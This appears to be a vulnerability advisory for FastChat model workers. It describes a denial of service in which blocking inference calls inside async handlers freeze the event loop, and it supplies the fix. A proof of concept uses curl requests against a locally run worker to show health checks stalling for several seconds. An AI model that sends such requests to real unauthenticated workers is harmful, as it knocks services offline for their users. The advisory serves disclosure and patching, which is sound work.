YLChen-007 / **ISSUE-Github-REPORT-EventLoop-Blocking-DoS.md** Secret

Created last month

Code Revisions 1

Denial of Service via Blocking Event Loop in Model Workers (Incomplete Fix for ff66426)

ISSUE-Github-REPORT-EventLoop-Blocking-DoS.md

Advisory Details

Title: Denial of Service via Blocking Event Loop in Model Workers (Incomplete Fix for ff66426)

Description:

Summary

A single unauthenticated HTTP request to `/worker_generate` or `/worker_get_embeddings` can completely freeze a FastChat model worker for the entire duration of inference. While the event loop is blocked, no other requests can be processed — including heartbeats, health checks, and all other users' requests. This leads to full worker denial of service and eventual controller deregistration.

The root cause was partially fixed in commit ff66426 for `base_model_worker.py`'s `api_generate()`, but three other instances of the same bug were missed.

Details

Commit `ff66426` fixed the event loop blocking in `base_model_worker.py` by wrapping the synchronous `generate_gate()` call with `asyncio.to_thread()`:

```
# base_model_worker.py - FIXED in ff66426:
output = await asyncio.to_thread(worker.generate_gate, params)
```

However, the same pattern remains unfixed in three other locations. These handlers are all `async def` functions served by FastAPI/uvicorn. When they call a synchronous blocking function (GPU inference via `generate_gate()` or `get_embeddings()`), the asyncio event loop thread is completely frozen — no other coroutines can execute, including heartbeat callbacks and incoming request handling.

Occurrence 1 — `multi_model_worker.py` `api_generate()` (line 112)

```python
@app.post("/worker_generate")
async def api_generate(request: Request):
    params = await request.json()
    await acquire_worker_semaphore()
    worker = worker_map[params["model"]]
    output = worker.generate_gate(params)  # ← BLOCKS event loop
    release_worker_semaphore()
    return JSONResponse(output)
```

`generate_gate()` calls `generate_stream_gate()` which runs PyTorch GPU inference. This can take 30-120+ seconds depending on input length and `max_new_tokens`. The event loop is frozen for the entire duration.

Occurrence 2 — `base_model_worker.py` `api_get_embeddings()` (line 218)

```python
@app.post("/worker_get_embeddings")
async def api_get_embeddings(request: Request):
    params = await request.json()
    await acquire_worker_semaphore()
    embedding = worker.get_embeddings(params)  # ← BLOCKS event loop
    release_worker_semaphore()
    return JSONResponse(content=embedding)
```

This is in the **same file** where `api_generate()` was correctly fixed at line 209. The developer applied `asyncio.to_thread()` to `generate_gate` but missed applying it to `get_embeddings` just 9 lines below. `get_embeddings()` runs `@torch.inference_mode()` tokenization + model forward pass + normalization — equally blocking.

Occurrence 3 — `huggingface_api_worker.py` `api_generate()` (line 236)

```python
@app.post("/worker_generate")
async def api_generate(request: Request):
    params = await request.json()
    worker = worker_map[params["model"]]
    await acquire_worker_semaphore(worker)
```

```
    output = worker.generate_gate(params)  # ← BLOCKS event loop
    release_worker_semaphore(worker)
    return JSONResponse(output)
```

`HuggingfaceApiWorker.generate_gate()` calls `generate_stream_gate()` which makes synchronous HTTP calls to the HuggingFace Inference API via `InferenceClient.text_generation()`.

Why this matters:

Python's asyncio event loop is single-threaded. A blocking call inside an `async def` handler freezes the entire loop. During the block:

- All concurrent HTTP requests are queued and unprocessed
- Heartbeat responses cannot be sent back to the controller
- The controller eventually deregisters the worker after heartbeat timeout
- In `multi_model_worker`, ALL models served by that worker become unavailable

The fix is straightforward — the same `asyncio.to_thread()` pattern that was applied in `ff66426`:

```
# Fix: wrap synchronous calls with asyncio.to_thread()
output = await asyncio.to_thread(worker.generate_gate, params)
embedding = await asyncio.to_thread(worker.get_embeddings, params)
```

PoC

This PoC directly imports and runs **the real FastChat `base_model_worker.py` source code**. The FastAPI `app` object, all route handlers (`api_generate`, `api_get_embeddings`, `api_get_status`), the semaphore logic — everything is 100% FastChat code. Only the worker's inference method is stubbed with `time.sleep(10)` because no GPU is available. The vulnerability is in the handler layer (line 218), not in the inference implementation, so this is fully equivalent to a production environment.

Prerequisites: Python 3.8+, FastChat source code cloned, `pip install fastapi uvicorn`.

Step 1 — Start the real FastChat `base_model_worker.py` app:

```
cd /path/to/FastChat
python3 -c "
import sys, time, uvicorn
```

```
sys.path.insert(0, '.')
import fastchat.serve.base_model_worker as bmw

class SlowWorker:
    def __init__(self):
        self.model_names = ['test-model']
        self.limit_worker_concurrency = 5
        self.semaphore = None
        self.context_len = 4096
    def get_status(self):
        return {'model_names': self.model_names, 'speed': 1, 'queue_length':
    def generate_gate(self, params):
        time.sleep(10)
        return {'text': 'done', 'error_code': 0}
    def get_embeddings(self, params):
        time.sleep(10)
        return {'embedding': [[0.1, 0.2, 0.3]], 'token_num': 3}

bmw.worker = SlowWorker()
bmw.logger = __import__('logging').getLogger('test')
uvicorn.run(bmw.app, host='0.0.0.0', port=21002)
" &
sleep 2
```

This starts the `fastchat/serve/base_model_worker.py` FastAPI app on port 21002. The routes are:

- `/worker_get_embeddings` → calls `worker.get_embeddings(params)` **synchronously** at line 218 (VULNERABLE)
- `/worker_generate` → calls `await asyncio.to_thread(worker.generate_gate, params)` at line 209 (FIXED by ff66426)
- `/worker_get_status` → returns worker status instantly (health check)

Step 2 — Baseline: verify the worker responds normally:

```
$ time curl -s -X POST http://localhost:21002/worker_get_status \
    -H "Content-Type: application/json" -d '{}'

{"model_names":["test-model"],"speed":1,"queue_length":0}
real    0m0.011s    # <-- baseline: 11ms
```

Step 3 — Exploit the VULNERABLE endpoint (`/worker_get_embeddings`, line 218):

```
# Terminal A: send a blocking embedding request
curl -s -X POST http://localhost:21002/worker_get_embeddings \
```

```
  -H "Content-Type: application/json" \
  -d '{"input":["test"]}' &

# Terminal B (within 1 second): try a health check
time curl -s -X POST http://localhost:21002/worker_get_status \
  -H "Content-Type: application/json" -d '{}'
```

Result — event loop BLOCKED:

```
{"model_names":["test-model"],"speed":1,"queue_length":0}
real    0m9.014s    # <-- 9 seconds! (baseline was 11ms, 819x
amplification)
```

The health check was delayed **9 seconds** because the event loop was completely frozen by `worker.get_embeddings(params)` at `base_model_worker.py:218`.

Step 4 — Verify the FIXED endpoint (`/worker_generate`, line 209) is NOT blocked:

```
# Terminal A: send a generate request (this endpoint was fixed in ff66426)
curl -s -X POST http://localhost:21002/worker_generate \
  -H "Content-Type: application/json" \
  -d '{"prompt":"test"}' &

# Terminal B (within 1 second): try a health check
time curl -s -X POST http://localhost:21002/worker_get_status \
  -H "Content-Type: application/json" -d '{}'
```

Result — event loop NOT blocked:

```
{"model_names":["test-model"],"speed":1,"queue_length":0}
real    0m0.006s    # <-- 6ms, same as baseline
```

The health check responded instantly because `asyncio.to_thread()` at line 209 offloads the blocking call to a thread pool.

Screenshot of Evidence

Verified against the `fastchat/serve/base_model_worker.py` FastAPI app (routes and handler code are 100% FastChat source):

```
=== Baseline: normal health check ===
  real    0m0.011s
```

```
=== VULNERABLE endpoint /worker_get_embeddings (base_model_worker.py:218)
===
  real    0m9.014s    ← 🔴 EVENT LOOP BLOCKED (819x baseline)

=== FIXED endpoint /worker_generate (base_model_worker.py:209, uses
asyncio.to_thread) ===
  real    0m0.006s    ← 🟢 NOT blocked

Same file, same type of call, 9 lines apart.
Line 209: await asyncio.to_thread(worker.generate_gate, params)  → 0.006s
✅
Line 218: embedding = worker.get_embeddings(params)               → 9.014s
❌
```

Why stubbing inference doesn't affect validity: The vulnerability is at the handler level (`base_model_worker.py:218`), not inside `get_embeddings()`. Whether `get_embeddings()` does real GPU inference or `time.sleep(10)`, both are synchronous blocking calls that freeze the event loop identically. The PoC uses the **FastChat handler code** — the exact line 218 that is the vulnerability.

Impact

This is a **Denial of Service** vulnerability. An unauthenticated attacker can:

1. **Freeze an entire model worker** with a single HTTP request — no other requests are processed during inference (seconds to minutes).
2. **Break heartbeats** — the blocked event loop prevents heartbeat responses, causing the controller to deregister the worker. All models on that worker become unavailable to all users.
3. **Cascade across models** — in `multi_model_worker` deployments, ALL models served by the worker are affected simultaneously.
4. **Sustain the DoS** — chaining sequential blocking requests keeps the worker perpetually frozen.
5. **No authentication required** — worker endpoints (`/worker_generate`, `/worker_get_embeddings`) are not protected by API keys.

Affected products

- **Ecosystem**: pip
- **Package name**: fschat
- **Affected versions**: <= 0.2.36 (latest at time of report, commit `587d5cf`)

- **Patched versions**:

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Weaknesses

- **CWE**: CWE-400: Uncontrolled Resource Consumption

Occurrences

Permalink
https://github.com/lm-sys/FastChat/blob/587d5cfa1609a43d192cedb8441cac3c17db105d/fastchat/serve/multi_ L114
https://github.com/lm-sys/FastChat/blob/587d5cfa1609a43d192cedb8441cac3c17db105d/fastchat/serve/base_ L220
https://github.com/lm-sys/FastChat/blob/587d5cfa1609a43d192cedb8441cac3c17db105d/fastchat/serve/huggi L238
https://github.com/lm-sys/FastChat/blob/587d5cfa1609a43d192cedb8441cac3c17db105d/fastchat/serve/base_ L211